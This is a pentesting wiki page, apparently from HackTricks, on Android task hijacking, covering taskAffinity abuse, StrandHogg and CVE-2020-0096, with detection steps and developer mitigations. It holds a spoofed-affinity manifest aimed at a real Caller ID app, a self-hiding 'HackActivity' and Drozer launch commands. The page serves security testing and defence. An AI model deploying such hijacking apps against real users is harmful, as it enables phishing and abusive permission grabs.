android-task-hijacking.md (9746B)
1 --- 2 title: "Android Task Hijacking" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Android Task Hijacking 14 15 ## Task, Back Stack and Foreground Activities 16 17 In Android, a **task** is essentially a set of activities that users interact with to complete a specific job, organized within a **back stack**. This stack orders activities based on when they were opened, with the most recent activity displayed at the top as the **foreground activity**. At any moment, only this activity is visible on the screen, making it part of the **foreground task**. 18 19 Here's a quick breakdown of activity transitions: 20 21 - **Activity 1** starts as the sole activity in the foreground. 22 - Launching **Activity 2** pushes **Activity 1** to the back stack, bringing **Activity 2** to the foreground. 23 - Starting **Activity 3** moves **Activity 1** and **Activity 2** further back in the stack, with **Activity 3** now in front. 24 - Closing **Activity 3** brings **Activity 2** back to the foreground, showcasing Android's streamlined task navigation mechanism. 25 26  27 28 --- 29 30 ## Task affinity attacks 31 32 `taskAffinity` tells Android which task an `Activity` would *prefer* to belong to. When two activities share the same affinity **Android is allowed to merge them inside the same back-stack even if they come from different APKs**. 33 34 If an attacker can place a malicious activity at the **root** of that stack, every time the victim opens the legitimate application the malicious UI will be the first thing the user sees – perfect for phishing or abusive permission requests. 35 36 The attack surface is wider than many developers think because **every activity automatically inherits an affinity equal to the application package name** (unless the developer sets `android:taskAffinity=""`). Therefore *doing nothing* already leaves the app open to task hijacking on Android versions prior to 11.<sup>[[1]](#references)[[2]](#references)</sup> 37 38 ### Classic "singleTask / StrandHogg" scenario 39 40 1. The attacker declares an activity with: 41 ```xml 42 <activity android:name=".EvilActivity" 43 android:exported="true" 44 android:taskAffinity="com.victim.package" 45 android:launchMode="singleTask" > 46 <intent-filter> 47 <action android:name="android.intent.action.MAIN"/> 48 <category android:name="android.intent.category.LAUNCHER"/> 49 </intent-filter> 50 </activity> 51 ``` 52 2. The malicious app is started once so that the task (with the spoofed affinity) exists in recent tasks. 53 3. When the user later opens the real application, Android finds there is already a task whose **root affinity matches the package** and just brings that task to the foreground. 54 4. The attacker’s UI is shown first.<sup>[[1]](#references)[[2]](#references)</sup> 55 56 ### Default–Affinity (no `singleTask`) variant – Caller ID case study 57 58 The vulnerability reported in the **Caller ID (caller.id.phone.number.block)** application shows that the attack *also* works against the default `standard` launch mode:<sup>[[3]](#references)</sup> 59 60 1. Attacker application creates a fake root activity and immediately hides itself: 61 ```kotlin 62 class HackActivity : AppCompatActivity() { 63 override fun onCreate(savedInstanceState: Bundle?) { 64 super.onCreate(savedInstanceState) 65 moveTaskToBack(true) // keep the task in recents but out of sight 66 } 67 } 68 ``` 69 2. The manifest only needs to copy the victim package into `taskAffinity`: 70 ```xml 71 <activity android:name=".HackActivity" 72 android:exported="true" 73 android:taskAffinity="com.caller.id.phone.number.block" > 74 <intent-filter> 75 <action android:name="android.intent.action.MAIN"/> 76 <category android:name="android.intent.category.LAUNCHER"/> 77 </intent-filter> 78 </activity> 79 ``` 80 3. As soon as the user installs and opens the malicious app **once**, a task whose affinity equals the victim package exists (but sits in the background). 81 4. When the real Caller ID application is launched, Android re-uses that task and brings `HackActivity` to the foreground → phishing window/permission abuse. 82 83 > NOTE: Starting with **Android 11 (API 30)** the system does *not* place two packages that are not part of the same UID into the same task by default, mitigating this particular variant. Older versions remain vulnerable. 84 85 --- 86 87 ### StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack 88 89 Google’s May-2020 security bulletin fixed a more advanced variant dubbed **StrandHogg 2.0**. The exploit **does not rely on `taskAffinity` at all**; instead it uses *reflection* to dynamically insert the attacker’s activity at the top of *every* running task, completely bypassing the “shared-UID” restriction introduced by Android 11.<sup>[[5]](#references)</sup> 90 91 Key points: 92 93 * A zero-permission malicious app can, once opened, iterate over running tasks and call hidden APIs to **re-parent** its own activity into any task. 94 * Because the activity is inserted after run-time, neither `launchMode` nor static manifest analysis can detect the attack in advance. 95 * Patched by back-porting a check into **Android 8.0/8.1/9** (May 2020 SPL). **Android 10 and later are not affected.** 96 97 Detection on pre-patched devices can be performed with `adb shell dumpsys activity activities` and watching for suspicious activities whose package name differs from the task’s *affinity*. 98 99 Mitigation for legacy devices is the same as classic Task Hijacking **plus** run-time verification (e.g. calling [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) and validating your own package name). 100 101 --- 102 103 ## Detection & Exploitation checklist 104 105 1. **Static review** – Pull `AndroidManifest.xml` from the target APK and check that each `<activity>` (or the global `<application>` element) contains `android:taskAffinity=""` (empty) **or** a customised value. Tools such as: 106 ```bash 107 # Using apkanalyzer (Android SDK) 108 apkanalyzer manifest print app.apk | grep -i taskaffinity 109 110 # Using AXMLPrinter2 111 java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity 112 ``` 113 2. **Dynamic review** – On the device open the target app and list tasks: 114 ```bash 115 adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity" 116 ``` 117 A task whose root affinity equals the victim package but whose top activity belongs to a *different* package is a red flag. 118 3. Craft a malicious app as described above, or use **[Drozer](https://github.com/WithSecureLabs/drozer)**: 119 ```bash 120 drozer console connect 121 run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN 122 run app.activity.info com.victim 123 ``` 124 125 --- 126 127 ## Mitigation 128 129 Developers should:<sup>[[4]](#references)</sup> 130 131 * Explicitly set `android:taskAffinity=""` at the `<application>` level (recommended) **or** give each activity a unique, private affinity. 132 * For highly sensitive screens, combine the above with `android:launchMode="singleInstance"` or modern [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) protections. 133 * Upgrade the app’s `targetSdkVersion` and enforce **Android 11** behavioural changes where tasks are not shared across packages by default. 134 * Target **Android 12 (API 31) or higher** so that the mandatory `android:exported` attribute forces developers to audit every externally-reachable component. 135 * Consider run-time self-defence: periodically query `ActivityTaskManager` to ensure that your top activity’s package matches your own. 136 137 --- 138 139 ## Related UI-Hijacking techniques 140 141 Task hijacking is often combined with or replaced by **tapjacking** (overlay-based UI deception). The 2025 **TapTrap** research showed that fully transparent *animation-driven* activities can bypass the overlay-touch restrictions introduced in Android 12–14 and still trick users into granting dangerous permissions.<sup>[[6]](#references)</sup> While TapTrap is not strictly *task* hijacking, the end-goal (phishing clicks) is identical – so modern assessments should check for both attack surfaces. 142 143 --- 144 145 ## References 146 147 - [1] [A deep dive into Task Hijacking in Android](https://blog.dixitaditya.com/android-task-hijacking/) 148 - [2] [Android task hijacking using moveTaskToBack() and excludeFromRecents](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) 149 - [3] [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md) 150 - [4] [The Risk of Android StrandHogg Security Issue and How it can be Mitigated](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06) 151 - [5] [Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability) 152 - [6] [USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)